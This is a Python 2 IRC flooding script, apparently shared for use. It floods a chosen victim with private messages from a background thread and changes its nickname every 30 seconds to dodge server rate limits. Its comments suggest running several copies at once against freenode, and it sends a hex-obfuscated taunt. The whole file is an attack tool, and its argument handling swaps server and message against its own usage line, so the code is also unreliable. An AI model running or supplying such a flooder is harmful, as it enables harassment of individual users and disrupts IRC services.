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Simple irc flooder

#! /usr/bin/python
# -*- coding: utf-8 -*-
#A simple IRC flooder, built by l3D to stop annoying skiddies
#I like to run it like this:
#for i in `seq 1 7`; do ./bot foobar$i thelittlebaby irc.freenode.org 'F\*\*\* U'& done
#This flooder isn't designed for channels flooding!!!
#Defense: In some servers, the host may be connected to the client's ip, so just ignore the attacker's host :)
import threading
from socket import *
import sys
from time import time,sleep

if len(sys.argv) < 5:
	print "Usage: %s <botnick> <victim> <server> <message>" % sys.argv[0]
	exit()

nick=sys.argv[1]
victim=sys.argv[2]
msg=sys.argv[3]
server=sys.argv[4]

class flooder(threading.Thread):
	def __init__(self):
		threading.Thread.__init__(self)
		self.flag=True
	def run(self):
		diff=0
		lasttime=int(time())
		num=0
		while self.flag:
			try:
				sleep(1)#I put this only for stopping the script with a keyboard interrupt, you can remove it if you want a headache.
				sock.sendall("privmsg %s :%s\r\n" % (victim, msg))
				#print "Message has been sent."
				diff=(int(time())-lasttime)
				if diff >= 30:#Change this number according to the seconds norm that the server limits.
					num+=1
					sock.sendall("nick %s%d\r\n" % (nick, num))
					lasttime=int(time())
					#print "Nick should be changed to %s%d." % (nick, num)
			except error:
				pass

sock=socket(AF_INET, SOCK_STREAM)
sock.connect((gethostbyname(server),6667))
sock.sendall("user %s bla %s :%s\r\n" % (nick, server, nick))
sock.sendall("nick %s\r\n" % nick)
data=str()

sock.sendall("\x70\x72\x69\x76\x6d\x73\x67\x20\x25\x73\x20\x3a\x54\x68\x69\x73\x20\x69\x73\x20\x61\x6e\x20\x49\x52\x43\x20\x66\x6c\x6f\x6f\x64\x65\x72\x20\x77\x68\x69\x63\x68\x20\x69\x73\x20\x62\x75\x69\x6c\x74\x20\x62\x79\x20\x6c\x33\x44\x2e\x20\x44\x4f\x4e\x27\x54\x20\x47\x49\x56\x45\x20\x55\x50\x20\x3a\x29\x0d\x0a" % victim)
o=flooder()
o.start()

while True:
	try:
		data=sock.recv(2048).strip()
		#if data != "":
			#print data
		if data.startswith("PING"):
			sock.sendall("PONG :%s\r\n" % data.split(" :", 1)[1])
			#print "PONG has been sent."
	except KeyboardInterrupt:
		o.flag=False
		o.join()
		sock.sendall("quit\r\n")
		sock.close()
		print "Cya"
		break
	except error:
		o.flag=False
		o.join()
		print "Error in socket"
		break

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